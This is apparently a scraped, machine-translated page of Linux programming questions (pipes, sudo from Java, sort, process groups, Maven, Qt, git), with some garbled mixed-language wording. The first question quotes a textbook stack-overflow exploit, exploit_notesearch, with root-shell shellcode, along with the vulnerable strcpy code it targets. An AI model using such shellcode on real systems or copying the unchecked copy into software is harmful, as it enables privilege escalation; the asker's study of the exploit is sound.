Articles of Linux操作系统

黑客攻击的技巧:debugging缓冲区溢出示例

我在读“黑客攻击的艺术”一书。 有一个堆栈缓冲区溢出的例子。 这是被攻击程序“notesearch”的一个来源: char searchstring[100]; // … if(argc > 1) strcpy(searchstring, argv[1]); // <– no length check 这里是攻击程序的来源,“exploit_notesearch”: #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200); // zero out the […]

如何正确接收来自pipe道的数据?

所以我写了一个使用pipe道的程序,并且执行一些算术运算。 我不知道如何debuggingpipe道和不同的stream程,但是从我所看到的,必须与我的pipe道读取数字有关。 所以我的设置到目前为止是儿童创build,并根据他们给定的操作,他们execl的不同程序,将计算pipe道中的书面价值。 我不知道在读取结果之前,是否应该在父项中写入值,然后在父项中执行等待或什么。 我不断得到Z作为我的输出。 所以这是我execl文件之一,其他文件看起来完全一样,它只是显示其相应的操作: #include <iostream> #include <fstream> #include <cstdio> #include <cstdlib> using namespace std; main(int argc, char *argv[]) { int x, y, z; while (read(0, (char *)&x, sizeof(int)) && read(3, (char *)&y, sizeof(int))) { z = x * y; if (argc > 1) cerr << "multiply: " << x << " * […]

使用Java的sudo命令不工作

我有这个代码执行命令,而不使用sudo选项 String sudoScript = "sudo -u root -S ls /"; String script = "ls /"; try { System.out.println("==================================="); System.out.println("command="+sudoScript); Process p1 = Runtime.getRuntime().exec(sudoScript); System.out.println("p2.waitFor()="+p1.waitFor()); BufferedReader stdInput1 = new BufferedReader(new InputStreamReader(p1.getInputStream())); while ((sudoScript = stdInput1.readLine()) != null) { System.out.println(script); } System.out.println("==================================="); System.out.println("command="+script); Process p2 = Runtime.getRuntime().exec(script); System.out.println("p2.waitFor()="+p2.waitFor()); BufferedReader stdInput2 = new BufferedReader(new InputStreamReader(p2.getInputStream())); while ((script = […]

了解BASH中的sorting命令

我正在尝试为了学习的目的对一个名为data的文件进行sorting。 它在我的教科书中给出。 5 27 2 12 3 33 23 2 -5 11 15 6 14 -9 Q1)这种情况下, sort data的顺序是什么? Q2)我正在一个文件夹中工作。 sort data工作,但sort +1n data不。 为什么? 我完全按照书中的方式input它,我得到这个错误 – sort: cannot read: +1n: No such file or directory 编辑 –本书想要跳过第1列并按第2列sorting。这就是为什么可以使用+ n。 我使用lubuntu 13学习unix bash脚本。 PS –这是sort data的输出 14 -9 15 6 2 12 23 2 3 33 […]

在Linux上打开新的进程组

我正在使用Popen(Python 2.7,Shell = True)生成一些进程,然后向它们发送SIGINT。 看来进程组的领导者实际上是Python进程,所以把SIGINT发送到Popen(这是bash的PID)返回的PID没有任何作用。 那么,有没有办法让Popen创build一个新的stream程组? 我可以看到有一个名为subprocess.CREATE_NEW_PROCESS_GROUP的标志,但它只适用于Windows。 我实际上是升级了一些Python2.6下运行的旧脚本,Python2.6似乎默认的行为是我想要的(即当我做Popen时一个新的进程组)。

用两条新线代替一条线

我有一个名为abc.csv的文件,其中包含这6行: xxx,one yyy,two zzz,all aaa,one bbb,two ccc,all 现在,无论哪一条线都应该被one和two线取代,那就是: xxx,one yyy,two zzz,one zzz,two aaa,one bbb,two ccc,one ccc,two 有人可以帮助如何做到这一点?

找不到linux / modversions.h

我正在尝试安装串行设备的驱动程序,当我运行安装可执行文件时出现此错误: cc -DLINUX -c -DMODVERSIONS -DMODULE -D__KERNEL__ -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -pipe -m64 -mcmodel=kernel -I/usr/src/linux-3.8.0-27-generic/include -I/usr/src/linux-2.4/include -I/usr/src/linux/include -D__SMP__ npreal2.c npreal2.c:40:31: **fatal error: linux/modversions.h: No such file or directory** compilation terminated. search论坛后,我没有find任何解决办法。 我注意到/usr/src/linux-3.8.0-27-generic/include/config中有一个modversions.h,但不在linux文件夹中。 请帮忙!

Maven依赖另一个Maven项目

我目前在尝试添加另一个Maven项目(特别是Aerospike)的依赖项到我的项目中有困难。 我已经在Aerospike项目上进行了mvn install ,所以在我的仓库(在Linux上:〜/ .m2 / repository / com / aerospike / aerospike-client / 3.0.6)我看到一个aerospike-client-3.0.6.jar。 lastUpdated文件。 但是,当我添加依赖项 <dependency> <groupId>com.aerospike</groupId> <artifactId>aerospike-client</artifactId> <version>3.0.6</version> <scope>compile</scope> </dependency> 进入我的项目,并执行mvn install ,它会返回此错误: [INFO] ———————————————————————— [INFO] Building in-memory database poc 0.0.1-SNAPSHOT [INFO] ———————————————————————— [WARNING] The POM for com.aerospike:aerospike-client:jar:3.0.6 is missing, no dependency information available [INFO] ———————————————————————— [INFO] BUILD FAILURE [INFO] ———————————————————————— [INFO] […]

QSystemTrayIcon并不总是显示出来

我已经写了一个小程序来在合成器(xfwm4,dcompmgr,cairo-compmgr)之间切换,以帮助处理nVidia可能遇到的video撕裂问题。 它会在系统托盘中创build一个图标,并执行其操作。 问题是,当我运行我的程序时,图标并不总是显示出来,并且在我切换到不同的合成器后,图标消失。 我已经在一个可以在这里看到的video捕获它: https : //www.youtube.com/watch?v = 31qqOiaOdfw 我正在使用:与Xfce的Manjaro Linux 64bit QtCreator v.2.8.0与Qt 5.1 有人可以帮我这个吗? compSwitcher.cpp #include "compswitcher.h" #include "ui_compswitcher.h" #include <QMenu> #include <QCloseEvent> #include <QDebug> compSwitcher::compSwitcher(QWidget *parent) : QWidget(parent), ui(new Ui::compSwitcher) { ui->setupUi(this); createActions(); createIcon(); setIcon(); qDebug() << "Before trayIcon->show()\n"; trayIcon->show(); qDebug() << "After trayIcon->show()"; } compSwitcher::~compSwitcher() { delete ui; delete trayIcon; delete […]

如何将现有的Java项目添加到Git存储库

我正在尝试从工作区添加一个现有的Java项目到我的git仓库。 我在Linux上使用git 1.8.3.2版本。 我使用这个命令: git init/committed/remote origin/pushed 但是,src目录只显示为灰色的空文件夹。 如何添加一个文件夹与子文件夹到我的github存储库? 这是它的样子。 注意'src'是灰色和不可点击的。